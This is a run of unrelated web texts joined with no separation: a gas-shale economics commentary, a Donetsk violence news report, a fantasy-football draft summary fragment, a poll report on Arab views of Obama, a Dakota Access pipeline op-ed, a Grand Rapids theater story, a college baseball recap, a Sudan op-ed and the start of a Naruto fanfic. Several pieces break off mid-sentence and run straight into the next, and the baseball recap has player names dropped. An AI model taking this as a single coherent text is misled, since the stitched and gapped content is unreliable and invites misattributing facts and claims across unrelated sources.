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Last week the Baker Hughes U.S. active drilling rig count hit 1,800, up 1.6% from the prior week and up 21.5% over the past year. These were notable achievements. The increases reflect the exploration and development fever that is gripping oil and gas companies. This should be good news for the country's oilfield service industry, but maybe even better news for consumers as the increased drilling should lead to higher oil and gas production, and maybe lower fuel prices. More production means the nation's economy need not import as much oil and gas from abroad, which could have a significant impact on our balance of trade and payments, and the value of the dollar.
The most notable bit of data about last week's rig count was that for the first time in nearly 16 years, the oil and gas industry is employing more rigs targeting crude oil prospects (913 rigs) than drilling for natural gas wells (878 rigs). Analysts and investors, keen to see higher natural gas prices, have seized on this switch in drilling focus as a signal that future gas production will soon stop climbing. Assuming that the nation's natural gas consumption continues to rise, the drilling switch portends a shrinking of the oversupply of natural gas. That should mean higher natural gas prices – the only question is when.
Those E&P companies that are leading the charge into the gas shale plays around the country will be happy to see higher natural gas prices. They continue to claim that they can be profitable drilling these gas shale plays at natural gas prices in the $4.00 to $5.00 per thousand cubic feet (Mcf) of gas. Their financial results suggest something different. They still proclaim the success of the gas shale revolution, a movement that is beginning to spread globally.
Slightly over two weeks ago, the Energy Information Administration (EIA) released an analysis of gas shale resources around the world. It was clear from the report that the EIA believes the domestic gas shale revolution will be embraced globally. The EIA report estimates that 32 countries with known gas shale resources have added 5,760 trillion cubic feet (Tcf) of technically recoverable natural gas to the world's resources. With the addition of the U.S. gas shale resources, the global total would swell to 6,622Tcf. For comparison purposes, the world's proven natural gas reserves as of January 1, 2010, were 6,609Tcf. The world's total technically recoverable gas resources were 16,000Tcf as of the beginning of 2010, so with the new gas shale resources added in, the world now has over 22,000Tcf of gas resources.
The 32 countries with gas shale resources span the world and are likely to become energy-headline locations before long. Most people are familiar with the gas shale drilling underway in Poland and China, but those are only two of the 32 countries that span the globe. China leads the world with an estimated 1,275Tcf of gas shale resources. In Europe, Poland is in first place with an estimated 1,867Tcf of potential reserves, followed closely by France with 180Tcf. Interestingly, France has announced it is considering banning the drilling of gas shale wells until a study of possible water pollution problems associated with hydraulic fracturing are investigated and proven false. Equally surprisingly is that Norway has nearly half the gas shale resources of Poland and France.
Exhibit 1. Gas Shales Located Around The World
Source: EIA
In South America, Argentina is highly prospective with nearly 90% of the total gas shale resources estimated to be in the United States. Brazil has about a third of the resources of Argentina with most of the potential resources located in the area close to some of the key manufacturing sites in the country. Surprisingly, Mexico has a huge potential with almost 80% of the estimated United States gas shale resources.
In Africa, the greatest potential source of natural gas from shales lies in South Africa, which has an estimated 485Tcf of resources. Libya, the site of the current civil war involving the country's crude oil reserves and production, has an estimated 290Tcf of gas shale resources. Algeria follows with nearly 80% of Libya's estimate.
While the world has lots of gas shale resource potential, it is in North America, and primarily the United States, where the gas shale revolution is in high gear producing substantial volumes of new gas production. According to the EIA, 2010's 4.87Tcf of gas shale production represents about 23% of total U.S. output, but it is projected to account for 45% of the nation's gas supply by 2035. The huge potential of gas shales in this country was first highlighted by the 2009 report of the Potential Gas Committee (PGC) at the Colorado School of Mines. In that report, the PGC estimated that there was about 616Tcf of gas shale resource, or about a third of the country's total resource potential.
Recently, Ken Medlock, a professor at Rice University, delivered a presentation about the gas shale industry at the American Association of Petroleum Geologists (AAPG) annual meeting. In his presentation he listed a timeline of potential gas shale resource estimates beginning with the 2003 National Petroleum Council estimate of 38Tcf. Two years later the estimate was raised to 140 Tcf and then in 2008 Navigant, a consulting company, estimated there was 520Tcf of potential reserves. The next year came the PGC estimate of 616Tcf and last year, consultant ARI estimated gas shale resources of more than 1,000Tcf. Mr. Medlock said there is a Department of Energy study underway with a May release date that will contain an estimate greater than ARI's estimate, likely putting it close to China's estimated 1,275Tcf of potential reserves.
All this potential gas has led politicians, investment professionals and E&P company executives to announce that the United States has in excess of 100 years of natural gas supply. In his presentation at the AARP, Art Berman showed that by reading the PGC report it becomes clear that gas shale reserves will likely only supply about 20 years of demand at the current 23Tcf of annual consumption.
Mr. Berman's pricking of the gas shale 100-year supply bubble should be having a greater impact, but instead the air is barely slipping out of the balloon. In fact, President Barack Obama has endorsed the huge potential gas supply mantra. In a recent presentation about the nation's energy situation, President Obama said, "We have a lot of natural gas here in this county." In doing so, however, he touched on the key issue now swirling around the gas shale revolution, which is the use of hydraulic fracturing to release the trapped gas from the formation President Obama's observation was, "The problem is…extracting it [shale gas] from the ground. The technologies aren't as developed as we'd like and so there are some concerns that it might create pollution in our groundwater, for
Exhibit 2. Gas Shale Reserves Less Than 100 Years
Source: Art Berman
example. So we've got to make sure that if we're going to do it [fracking], we do it in a way that doesn't poison people." There is plenty of evidence to refute the President's observation, but it is having a hard time being recognized.
A recent article by Stephen Hayward of the American Enterprise Institute highlighted the two problems confronting gas shale development. First is the issue of the safety of hydraulic fracturing. The other issue is what to do about the gas bounty being developed. The gas shale revolution has put these issues on the front pages of the papers and has drawn into the discussion the one factor that can derail the revolution – politics, such as the views of the President.
The battle over the safety of hydraulic fracturing grew in intensity the closer gas shale drilling moved to the East Coast. The emergence of the Marcellus shale as probably the largest gas field in the United States brought drilling rigs and pressure pumping equipment into the hilly topography of New York, Pennsylvania, Ohio and West Virginia. Despite the American oil industry getting its start in 1859 when Col. Drake drilled the first oil well in northwestern Pennsylvania, the region is not used to the intensity of drilling and producing activity experienced in regions such as the Southwest and Gulf Coast. The lack of equipment and workers has created a huge in-migration of both, creating an unsettled feeling among the local population. New oilfield service company equipment bases, heavy traffic consisting of large trucks with loads of equipment and supplies driving through small towns and rural areas, and lots of temporary workers from foreign places such as Texas, Oklahoma, Louisiana and Canada is changing the pace of everyday living in the Northeast.
The low price of natural gas, combined with the high-efficiency gas power plant designs, makes gas-fired power plants cheaper than coal-fired power plants. This has been the case for at least two decades, but due to the volatility of natural gas prices, these plants have been limited to peak electricity generating roles. Now it appears gas could be used for more baseload generation, replacing aging coal plants that are under pressure from costly new Environmental Protection Agency (EPA) clean air requirements and the long-standing environmental crusade against coal plants.
For the first time ever, natural gas producers and utilities have joined with environmentalists to alter the status quo over replacing coal-fired power plants with gas-fired ones. This alliance will not last for long, however, as cheap natural gas makes the favorite energy sources of environmentalists – wind and solar – that much less competitive. Environmentalists used to love natural gas so long as it was expensive and used merely as a backstop for "clean" wind and solar power. Now that it may displace their favorite fuels, they don't love natural gas as much.
Mr. Hayward refers to this attitude about natural gas on the part of environmentalists as "the theorem of environmental duplicity: namely, there is no form of 'clean' or 'alternative' energy that environmentalists won't decide to oppose if it becomes practical and affordable on a large scale." Last week's Chesapeake gas shale well blowout certainly gives more ammunition to the environmental movement to oppose the use of hydraulic fracturing. The Chesapeake well was plugged late last week and the company and state regulators are monitoring the pollution as well fluids were spilled and migrated across the land.
Environmental opposition to hydraulic fracturing has been helped along by a sympathetic media that writes "investigative" reports that often create false impressions about the safety of hydraulic fracturing and even the exploitation of gas shale formations. Every study conducted about hydraulic fracturing has found no problems. The reason is simple: the target shale formations are thousands of feet below the surface and thousands of feet below the aquifer. Both the distance and the nature of the rock that separates the formations prevent fracturing fluids from migrating to the aquifer, as demonstrated in Exhibit 3. What has been a problem in certain wells where natural gas has migrated into drinking water was the primary cement job for the surface pipe, which is designed to isolate the gas well from the ground water. Due to cement bond failures, it is possible for flowing natural gas to leak out and into the ground water, which then can flow to a homeowner's water faucets.
Other than gas migrating into ground water formations, water associated with gas shale activity has become a major challenge for the E&P industry. Water is needed for drilling and for hydraulic fracturing completions. As a result of the large volumes of water required in the completion process, huge volumes of contaminated
Exhibit 3. Gas Shale Wells Are Well Below Groundwater
Source: Ohio Department of Natural Resources
water are returned in the initial well flow. This flow-back water needs to be disposed of either by cleaning it up to meet standards for dumping into local waste water disposal systems or by placing it into streams and rivers. An alternative disposal method is to inject it into special disposal wells. Because Pennsylvania has few disposal wells, flow-back water and water produced in association with oil and gas output is either cleaned up or hauled to disposal wells, many of which are located in neighboring Ohio.
While water and hydraulic fracturing concerns are, and will continue to be, an ongoing issue, the more critical consideration is the economic viability of gas shale drilling. When Mitchell Energy solved the key critical variables in unlocking natural gas trapped in the shale formation underlying the Barnett basin in Texas, they probably had little comprehension of the revolution they were starting. That revolution was perceived to have certain characteristics that would unlock tremendous gas resources. Those characteristics included: uniform shale formations that blanketed the areas underlying oil and gas producing basins; that formations would yield significant gas volumes, which was directly correlated with the number of wells drilled and hydraulic fracturing treatments administered; that horizontal drilling exposed greater amounts of the shale formation helping release more of its trapped gas; and that all wells in shale formations would be equally productive enabling rapid drilling employing uniform drilling techniques producing low drilling costs. The combination of these characteristics was supposed to translate into large volumes of low-cost natural gas.
After about five years of active drilling in the oldest shale basins has begun to disprove certain of these characteristics and their implications on well economics. We have learned that gas shale basins still need a trapping mechanism in order to be productive. Drilling has also shown that gas shale plays have "sweet" spots that produce higher well volumes than wells drilled outside of the "sweet" spots. These realizations have begun to dispel the manufacturing concept for how gas shale fields would be developed.
We have learned that by drilling longer lateral sections and applying greater numbers of hydraulic fracturing treatments to wells, gas volumes can be maximized. The problem has been that the cost to secure the acreage to drill these gas shale wells and the drilling and completion costs are not particularly cheap. Since natural gas prices are so low due to growing gas production and weak gas demand, the economics of many gas shale wells have been called into question. We are also finding that many gas shale wells are not producing the volumes projected. This latter observation is highly contentious among participants within the oil and gas industry. However, the more data that is collected, the greater the confidence the critics of gas shale profitability have that these plays may not be the goldmines proponents claim.
In Art Berman's AAPG presentation, he presented the chart in Exhibit 4 showing that within the Barnett Shale play, when the production from newly drilled wells during the last 12 months is excluded, gas production declined at a 44% annual rate. The importance of this static well analysis is that it highlights the need for producers to continually drill new wells in order to grow production, or maybe merely to offset production declines. The significance of the analysis is that the E&P industry is on a treadmill of new well drilling with the likelihood that the slope of drilling activity is rising with cost implications unknown.
Exhibit 4. Without Drilling Production Falls Rapidly
Source: Art Berman
Another analysis of the Barnett Shale play shows how the wells are not producing the necessary volumes of natural gas to support the Economically Ultimately Recoverability (EUR) reserve estimates being used by producers. In determining profitability, producers estimate the total number of reserves they will produce from their wells and divide that figure into the total cost estimate for finding, developing and producing the reserves. The resulting cost per Mcf of gas produced is amortized against the revenue earned from its sale. If any of the assumptions is wrong, the profitability calculation can be way off.
If we examine two slides from Chesapeake's 2010 institutional investor and analyst meeting in October 2010, we can see how the EUR and well costs interact to impact profitability of gas shale developments. The first chart (Exhibit 5) shows the decline curves and basic data about the four major gas shale plays in which Chesapeake is involved. The data on this chart shows that Chesapeake expects the EUR for its Barnett Shale wells to be 3.0 billion cubic feet (Bcf).
Exhibit 5. 3Bcf EUR Estimated For Barnett Shale
Source: Chesapeake Energy
The next chart (Exhibit 6) shows the sensitivity of its profitability to the price of natural gas and the EUR. As the data for the Barnett Shale shows, Chesapeake believes that with a EUR of 3.0 Bcf and a price of $5.05/Mcf, the company will earn a 10% rate of return. By moving along the green curve on the chart, one can see that a smaller EUR needs a much higher natural gas price to achieve the same 10% rate of return.
An analysis of the Barnett Shale field shows how production from 1992 through November 2010 has climbed. The chart (Exhibit 7)
Exhibit 6. Economics Of Gas Shale Plays
Source: Chesapeake Energy
shows that the number of new well completions has decline sharply in the past two years with a corresponding decline in natural gas output.
Exhibit 7. Barnett Shale Gas Production
Source: Robert Gray
This analysis, prepared by Robert Gray, an associate of Art Berman's, focused on examining the performance of a static universe of producing wells in the Barnett Shale. In Exhibit 8, he tracked the production from a universe of wells that he stopped growing in November 2009. One can see the historic gas production in blue, which had begun to decline prior to 2009, and the monthly gas production subsequent to creating the static well universe.
Exhibit 8. Barnett Shale Static Well Production
Source: Robert Gray
By using the production data through November 2009, Mr. Gray was able to generate models for predicting the future decline rates, which, over the remaining production life of the wells, produces an estimate of the EURs for the wells.
Exhibit 9. Production Basis For Curve Projections
Source: Robert Gray
Shown in Exhibit 10 are the two type curves – hyperbolic and exponential – calculated from the historic data as of November 2009. Under the hyperbolic curve, the estimated EUR per well is 2.395 Bcf. The exponential curve shows a future EUR of only 1.133 Bcf. Both of these EUR estimates are well below the EUR projected by Chesapeake for its wells in this field.
Exhibit 10. 2009 Production Decline Curves
Source: Robert Gray
Now that we have an additional year's worth of production data, Mr. Gray was able to estimate new decline curves incorporating that information. As seen in Exhibit 11, the new 2010 hyperbolic and exponential curves fall below those estimated from the 2009 data. We now have EUR estimates of 1.452 Bcf for the hyperbolic curve and only 0.850 Bcf for the exponential curve.
Exhibit 11. 2010 EUR Curves Well Below Estimates
Source: Robert Gray
If we go back to the rate of return chart from the Chesapeake presentation, it does not show what gas price is required for EURs smaller than 2.4 Bcf. Even at that EUR, the 10% rate of return requires a gas price slightly below $6.00/Mcf. Our guess is that a producer will need a gas price somewhere around $7/Mcf to achieve a modest return on investment given the exponential EUR Mr. Gray has calculated. In a more recent update, Mr. Gray has increased his exponential EUR estimate to about 1.0 Bcf. Even that increased estimate is still only a third of Chesapeake's EUR estimate.
Exhibit 12. Well Production Short Of EUR Estimates
Source: Art Berman
In prior presentations, Mr. Berman has shown the chart in Exhibit 12. It presents the range of EURs claimed in investor presentations by the major producers in the Barnett Shale plotted against their cumulative production. The data shows how production does not seem to be coming anywhere close to the estimated EURs. Quite possibly this helps to explain why 16 significant E&P companies active in the gas shale plays have written off goodwill and the value of their reserves to the tune of $67 billion over 2008-2010. If producers acted in a more rational manner and cut back their drilling, the rapid decline in gas shale production as demonstrated by Mr. Berman's chart should lead to higher natural gas prices. Therein lays the conundrum for the gas market – drill to grow and satisfy Wall Street or cut back, secure higher prices and stop destroying shareholders' capital.Updated, 2:49 p.m. | The morning after journalists, including my colleague Andrew Roth, watched a pro-Russia mob attack peaceful protesters in the eastern Ukrainian city of Donetsk, leaving at least one young demonstrator dead, Russia’s foreign ministry released a statement on Friday claiming that the exact opposite had occurred, and warning ominously that Russia “reserves the right to protect” ethnic Russians in Ukraine.
Donetsk. Pro-Russian crowd attacks Maidan meeting, this is what happened to 20 or so who stayed to fight. No arrests. //t.co/Z4tPTKbGX3 — Andrew Roth (@ARothNYT) 13 Mar 14
According to a translation from the official Russian news agency Tass, the ministry blamed the violence on “armed right-wing radical groups” — Kremlin shorthand for supporters of the protest movement in Ukraine — who had “attacked peaceful demonstrators” calling for Russian intervention.
Although glimpses of the violence were caught on the phones of several witnesses, the clearest footage of the assault was recorded by a reporter for Vice News, Robert King. Mr. King’s video showed the Russian separatists hurling bricks and fireworks at a small number of participants in the anti-war rally, before breaking through police lines to beat the unarmed demonstrators.
That arresting footage also seems to support the contention of demonstrators who told reporters that the riot police made only a token effort to defend them — which is perhaps not surprising since members of the protest movement in Kiev’s main square, or maidan, were engaged in intensely violent clashes with police officers just weeks ago.
This guy was beaten for several minutes. Police didnt stop this, pro-Russian thugs decided not to kill him eventually //t.co/Q99dqAtAfP — Andrew Roth (@ARothNYT) 13 Mar 14
Total inaction by cops at attack, too few riot police. Officers: “Maidan self-defenders deserved it.” Police clearly not under control here — Andrew Roth (@ARothNYT) 13 Mar 14
“We have no police. We have fought alone.” Pro-Ukraine activist, hurt tonight in Donetsk, describes attack by pro-Russia side w batons, bats — Mike Giglio (@mike_giglio) 13 Mar 14
Blood was from head wound, pro-Maidan protestor was unconscious. He lay there for several minutes, no ambulance came. //t.co/0vj70mDiFu — Andrew Roth (@ARothNYT) 13 Mar 14
Во такие разводы с крови на пл.Ленина. Где русские фашисты избили украинцев. #донецкэтоукраина //t.co/Fj4Wx6N0mD — DNTSK (@vital_ovchar) 13 Mar 14
Faced with Russian television reports that also reversed the identities of the aggressors and the victims in Donestsk, Ukrainian activists pointed to witness accounts from journalists and bystanders who agreed that the violence was the work of the pro-Kremlin demonstrators, who had gathered under a statue of Lenin before confronting a rally for Ukrainian unity at the opposite side of the square.
Bizarro world. Russian TV reports Donetsk clashes provoked by busloads of provocateurs from Kiev carrying “syringes with unknown substance.” — Simon Shuster (@shustry) 13 Mar 14
Time magazine’s Moscow correspondent, Simon Shuster, reported on Twitter that an anchor on Russian state television even dismissed firsthand reports from journalists in Donetsk as the accounts of “American mercenaries” who are “fighting the information war in Ukraine.”
As they have throughout the tense standoff with Russia, Internet activists in Kiev tried to counteract accounts on Russian state television of the violence in Donetsk by drawing attention to video posted on their YouTube account, including a subtitled interview with one of the beaten demonstrators.
The activists also identified a 22-year-old political activist who was stabbed to death during the attack.
Dmytro Chernyavskiy was killed by pro-#russian protesters at #Donetsk rally today //t.co/796RlOs8V5 |PR News //t.co/hLhegRRKDC — Euromaidan PR (@EuromaidanPR) 13 Mar 14
A local news site showed that flowers were left on the blood-stained pavement Friday in memory of the young man.
“Donetsk today. Here died Dmytro Chernyavskiy.” RT @novostidnua: Донецк сегодня. Здесь убили Дмитрия Чернявского //t.co/7L5BfmxKnw — Christopher Miller (@ChristopherJM) 14 Mar 14
Irina Kalinina, a Russian-speaking Ukrainian from Donetsk, wrote in a dispatch for The New Republic earlier this week that the city was not as divided along ethnolinguistic lines as the Kremlin claims, but stressed that state television broadcasts from Moscow have played a |
following not based on X Value:
Covering bye weeks
Handcuffing the backup to a key player on your roster
Looking for favorable match ups for certain tough weeks
For these reasons, we believe the perfect draft will often abandon strict VBD drafting after all baselines have been passed (this is generally around Pick 120 or so). What exactly does this mean? It just means that later in the draft, you'll likely draft from your positional lists and not from your overall list.
SUMMARY
If you only remember three things, make it these three:
The object of the game is not to score a ton of points. The object of the game is to outscore your opponent. You must fill a roster with a specified number of players at specified positions. The surest way to outscore your opponent is to build a team of players that outscore their peers. The players who most distance themselves from the other players at their respective positions are therefore the most valuable. Remember the eight-player draft example where you can't lose after drafting the 20-point wide receiver. Factors such as the specific number of teams, starting lineup requirements, frozen players, and scoring system for your league dramatically affect the values of each player. These factors can cause the same player in two different leagues to have dramatically different values. If this seems like a lot of work (and it is) we will do all of the work for you at Footballguys.com with our VBD Excel Application and our Draft Dominator software.
Think about these principles. Play around with them and see how they work for you. Once you understand the concepts behind the Value Based Draft system, you'll be well on your way to dominating your league.Arabs living in the Middle East have warmed to President Obama’s policies in recent years, according to a comprehensive survey released Wednesday by Zogby Research Services.
Zogby polled people living in seven Arab countries including Morocco, Egypt, Jordan, Lebanon, Saudi Arabia, the United Arab Emirates (UAE) and the Palestinian territories.
Since 2011, opinions of Obama’s policies have grown exponentially in Egypt (from 3 percent to 34 percent), in Jordan (from 3 percent to 25 percent) and in the UAE (from 8 percent to 38 percent).
Views of Obama in Saudi Arabia, Morocco and Lebanon have also increased between 7 and 24 percentage points.
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Saudis, Emiratis and Egyptians gave the administration the highest scores, but ratings in each country remain well below 50 percent.
Those surveyed said the Obama administration has been the most effective in ending the U.S. presence in Iraq, after troops pulled out in 2011, and working to end Iran’s nuclear program.
The administration has been the least effective in improving relations with the Muslim world and handling the Israeli-Palestinian conflict and Arab Spring, according to the poll.
Former President Clinton is viewed as having the most positive relationship with Arab countries, the poll suggests. Former President George W. Bush was the most negative. The opinion of Obama was divided.
Strong majorities in each country support U.S. policies to spur a negotiated solution to the civil war in Syria, and favor the U.S. providing more assistance to its refugees. Majorities in all countries oppose any form of U.S. military engagement in Syria.
Most of the countries strongly support U.S.-led negotiations to curb Iran’s nuclear program, but they have little confidence the talks will succeed.
On the Israeli-Palestinian conflict, strong majorities in every Arab country surveyed said they aren’t confident the U.S. has been even-handed in its approach to negotiating peace. More than half of Palestinians, for instance, felt that way.
The survey comes nearly five years after Obama reached out to the Muslim world in a major speech in Cairo, Egypt.
After the speech, Zogby found majorities in the Arab countries surveyed were hopeful Obama was launching a “new beginning” with the Muslim world.
The survey polled between 811 and 1,031 people in each country from May 1 to 23. The polls had a margin of error of either 3.1 or 3.5 percentage points.Under Donald Trump’s direction, the army approved on Tuesday a bid from Energy Transfer Partners to move ahead with construction of the 1,170-mile Dakota Access pipeline. Last year, that pipeline’s route became the site of one of the country’s largest-ever anti-extraction demonstrations, a thousands-strong, indigenous-led encampment on Standing Rock Sioux land that galvanized national support.
Polling from October suggests that a majority of Americans believe the pipeline project was not properly reviewed. Among Democrats, a full 70% believe more study is needed – a study unlikely to come now that the army has called off its earlier demand for a thorough environmental impact study.
Democratic leaders, meanwhile, remain largely silent. Presidential candidate Hillary Clinton never came out against the project during her candidacy, and collected hundreds of thousands of dollars from the oil and gas industry in last year’s campaign cycle.
Outside of a handful of progressive leaders like Keith Ellison and Bernie Sanders, the rest have stayed mum. Now, the corporate-friendly wing of the Democratic party – its ruling force since her husband’s administration – is in crisis. For elected Democrats, then, coming out firmly against the Dakota Access pipeline isn’t just the right thing to do. It’s the strategic one, too.
Donald Trump and Steve Bannon have turned the White House against America | Bill McKibben Read more
That might look something like what happened on Tuesday, when Senate Democrats closed ranks against Trump’s pick for education secretary, Betsy DeVos. Though she was eventually appointed thanks to Vice-President Mike Pence’s tie-break, the vote showed the kind of oppositional unity that should be the party’s new status quo.
And the party’s base is going to hold them to it. Organizers with groups like Indivisible and the Working Families party are showing up to the home offices of Democratic and Republican representatives alike, demanding they reject Trump’s agenda. In Brooklyn, hundreds of disgruntled constituents brought plastic spines to Schumer’s posh Park Slope home with a simple message: grow one.
Democrats around the country are running to catch up with their base, who are demanding they vote against cabinet nominees and attend airport rallies against Trump’s draconian travel ban. That’s because it’s been ordinary people – not party heads – leading the resistance against Trump in 2017.
Like the rest of the country, that rebellious base also happens to be more progressive than ever. Majorities of Americans believe the rich pay too little in taxes, want to tackle inequality and take issue with how black people are treated by police. More than half of young voters no longer support capitalism. Worth remembering, too, is that over 12 million Americans recently voted for an avowed socialist.
With populist energy rising on the left and the right, Democrats will remain the party of Davos at their own risk. Yet the message seems lost on leadership.
Pelosi balked recently at NYU student Trevor Hill’s suggestion that the party may need to move to the left on economic issues. Responding to Hill’s question, she launched off into an explanation of so-called stakeholder and shareholder capitalism, a framework lifted from the head of Standard Oil Company of New Jersey. In 1972, that company changed its name to Exxon.
The fossil fuel industry has never been a stranger bedfellow for Pelosi’s party, or a better one to excise. Perhaps no industry is more aligned with Republicans, and oil executives seem to have found a particularly generous friend in Trump. Aside from the pipelines and slew of anti-regulatory orders he has already pushed through, Trump also appointed a career oil man – longtime ExxonMobil CEO Rex Tillerson – as secretary of state.
“For the oil industry,” one energy analyst wrote in an industry trade publication, “Tillerson’s appointment went beyond their wildest dreams. With this single act, Trump has established that his administration may be one of the most oil industry friendly in history.”
If they want to keep their seats come primary season, Democrats need to declare war not just on Trump’s agenda, but on the industries in his corner. Right now, the most public face of that fight is the one against the Dakota Access pipeline.
Democrats can get on board by supporting efforts to divest state and municipal funds from the banks backing Energy Transfer Partners. They might also show up to any number of the actions being called around the country by the groups that have led the resistance at Standing Rock, including the Native Nations March in Washington DC on 10 March.
The future of the Democratic party has no room for fossil fuel executives. It will be built by pipeline fighters, by people like Trevor Hill, those taking to the streets for the Women’s March and the ones who pushed the Seattle city council to pull $3bn this week out of one of the Dakota Access pipeline’s main financial backers.
If it’s going to survive, the Democratic party needs to be a party by and for water protecters – not the people they’re going up against.GRAND RAPIDS, MI -- A forgotten movie theater on South Division Avenue will be restored to some of its former glory if Marcus Ringnalda has his way.
Ringnalda, the building's new owner, envisions the 4 Star theater finding new life as a home for live performances and other cultural activities much like the historic Wealthy Theatre a few miles away.
That transformation could be a catalyst for turning around the depressed neighborhood. First, Ringnalda must find funding.
"It is a not a multi-million dollar thing which I think is great," said Ringnalda. "It is more of a million dollar thing, which to me is a huge distinction."
He sees his role as a developer on the project bringing together people who would benefit from its use or are interested in having a hand in its restoration.
Ringnalda saw 4 Star's potential two years ago when he was working on a church conversion of the building for his employer, Wolverine Building, which didn't move forward.
"I was keeping my eye on it because I always saw the real potential on the inside of how well suited it was to actually return to use as a theater," Ringnalda said.
Last week, he closed on the property, at 1950 S. Division Ave., for $160,000 under the entity, 4 Star, LLC. The previous owner is listed as Jay Kim, LLC, which acquired the building for $190,000 in 2013, according to public records.
Ringnalda considers the price a deal because the building's concrete, brick and steel are worth a $1 million.
His purchase price isn't much more than what the 11,300 square-foot theater was built for nearly 80 years ago. It cost $138,000 to construct the 1000-seat venue in 1938 with an Art Deco interior, air conditioning and the latest sound reproduction technology.
That original look is hard to find. Inside the dark, musty building are folding chairs, tables and shelves. Books are strewn across the littered carpet, possibly from a recent break-in.
When Ringnalda flips on the lights, the ceiling is illuminated with blue and green bulbs. They are remnants from the theater's time as the Carnival nightclub during the 1980s and early 1990s. Also from that era is a once functioning rotating stage.
During its Carnival days, more than 1000 people would come through the doors on the weekends, remembers James Harverson. He worked there after graduating from high school.
"It was so nice inside," said Harverson, who took a look inside on Friday with Ringnalda. He noticed the dancer cages are gone.
Haverson, now a gospel singer, says he would love to return to the theater as a performer.
When it opened, 4 Star was the fifth movie house in Grand Rapids for B&J Theaters Inc. The location was selected to take advantage of the new industrial and residential development going up in the area.
The theater shuttered three decades after opening, and two years after the local 1967 riots rocked the surrounding neighborhood.
Restoring the theater will be Ringnalda's first solo development project. His day job is converting old buildings like schools and hospitals to residential or other uses for Wolverine Building. He's currently working on an old orphanage in Marquette.
He realizes that saving the 4 Star will likely take a few years to pull the resources together.
The $2 million restoration of the Wealthy Theatre took a good decade. The effort began in the late 1980s to save the neighborhood vaudeville and movie house built in 1911.
In 2004, the nonprofit performing arts venue became part of the Community Media Center after slippping into debt. The restored theater is considerered an anchor in the turnaround of the Wealthy Street neighborhood.
Ringnalda says he realizes that saving 4 Star will require a team effort.
"I have talked to a few people in the neighborhood and I know I'm going to need to engage a lot more," he said.
Can one Grand Rapids theater's revival lead to another's second act? 4-Star Theatre awaits sequel like the one granted Wealthy Theatre.Next Game: UC Davis 4/21/2017 | 6:35 p.m. HT OC Sports ESPN 1420
#HawaiiBSB
RIVERSIDE, Calif. – A couple of huge swings of the bat made all the difference in Saturday's University of Hawai'i baseball (21-12, 3-3 BWC) series-clinching victory over UC Riverside (12-18, 2-7 BWC). Home runs in the first and seventh gave UH all the cushion it needed, accounting for five runs in the 7-4 win at the Riverside Athletics Complex.After UC Riverside knotted up the series on Friday, the Rainbow Warriors made an early bid for the series win. Freshman designated hittergot the Rainbow Warriors off on the right track, clocking a one-out single in the first. Third basemantacked up the first run for the 'Bows, doubling deep down the right field line to send Demeter home.After freshmanjoined Rojas on base, first basemanbroke the game open early, blasting a three-run homer down the right field line for the 4-0 advantage with his second long ball of the year.Starterkept the Highlanders off the board through the first three innings, but ran into some trouble in the middle innings. Back-to-back fourth-inning base hits put Casey Worden in position to score the first UCR run on a double play. Connor Cannon then trimmed the UH lead in half with a left field solo home run, putting the pressure on the 'Bows.After the opening stanza, the Rainbow Warriors struggled to add more hits to the pot, giving UCR an opportunity to creep back into the game. The Highlanders knotted the contest at 4-4 in the sixth, as Cannon launched his second bomb of the game, a two-run home run to left field.Responding in short order, Ramirez led off the seventh with a walk, setting up right fielderfor a clutch two-run homer to left field, off his former Oak Ridge high school teammate, Alex Fagalde.With Hawai'i pulling ahead 6-4,followed up with a left field double, chasing off Fagalde for the day. Center fieldercapped off the Hawai'i scoring push with an RBI single to right field, rebuilding the UH lead at 7-4.The Hawai'i bullpen took care of business across the final three frames, asandcombined for three scoreless innings, with Thomas earning his fourth save on 2.1 innings with three hits, no walks and one strikeout. Uskali (5-2) earned the victory, throwing 6.0 innings with four runs on nine hits, striking out four. Fagalde (5-2) was responsible for all seven runs and took the loss for UCR.Fitchett and Ramirez were the highlight contributors in an eight-hit UH performance, but only Fitchett was a multiple hitter, going 2-for-4 with the home run for two RBI and one run. Ramirez was 1-for-3 with the homer, batting in three and also scoring the go-ahead run in the seventh.Wrapping up the series with a 2-1 win and going 3-3 on the conference road trip, the Rainbow Warriors return home to Les Murakami Stadium for a three-game Big West homestand against UC Davis. The Aggies (10-19, 3-6 BWC) dropped 2-of-3 this weekend vs. Cal Poly at home. UCD will face Nevada at home on Tuesday before heading to Honolulu.It is hard to turn away. It is even harder to keep staring.
The daily images that stream out of Sudan are heartbreaking. The scale of suffering seems unprecedented.
But it is not.
This has happened in Africa before. A million Rwandan citizens were hacked to death in the mid-1990's.
But the United Nations did nothing.
A few years later, genocide struck the African continent again in Sudan.
That's right. The same Sudan that is once again in the grip of a brutally efficient killing machine.
The situation got so bad by 1997 that I worked together with human rights groups and former New York Times editor Abe Rosenthal to get the word out across America that millions were being persecuted.
Once again, the United Nations did nothing.
Reports out of Sudan eight years ago told of children as young as eight years old being crucified for their parents' beliefs. Other young boys and girls were sold into slavery for as little as $15.
Things became so bleak that the United Nations and the Clinton Administration did, well, nothing.
In fact, when I tried to pass a resolution through Congress calling for sanctions against the murderous regime, Clinton's State Department fought it with all their might.
The Congressional Black Caucus fell in line with the White House by refusing to endorse my Congressional act that condemned slavery in Sudan.
Can you imagine that?
We still hear many members of this caucus tying challenges in the African American communities to a system of slavery that ended 160 years ago but when faced with supporting the abolition of a slave system existing in their lifetime, they showed the moral courage of Thomas Jefferson.
Amnesty International was so concerned about the two million Sudanese victims that they did, well, nothing.
An Amnesty representative told me they could not support my bill because it concerned Christian persecution. They said they didn't take sides in such disputes.
Huh?
Fast forward eight years and you find that little has changed.
President Bush has called the crisis in Sudan genocide, but he has done little to stop it.
The United Nations has muttered about how the Sudan situation is unfortunate, but once again Kofi Annan has refused to do anything that will end the suffering on his home continent.
The European Union claims to be interested but too many member states have economic interests in the country.
So nothing gets done.
Meanwhile, children are slaughtered, young girls are raped, and entire communities are wiped out in minutes.
While the world does nothing.
How pathetic.Title: Twenty Times Uzumaki Naruto Didn't Die
Author: Kraken's Ghost
Email: On profile.
Disclaimer: I don't own Naruto. If I did, I wouldn't feel like tearing my hair out. This is non-profit fanfiction.
1.) Uzumaki Naruto doesn't realize what it truly means to be a Jinchuuriki until many, many years after his discovery of being one. This is because Naruto is as different from other vessels as they are from normal humans.
His first inkling that he is somehow different from the others comes during his battle with his former comrade, Uchiha Sasuke, at the Valley of the End.
It isn't that he healed a hole through his chest the diameter of a softball in a matter of seconds that disturbs him. It's that even after being run through by a Chidori, he doesn't fall over.
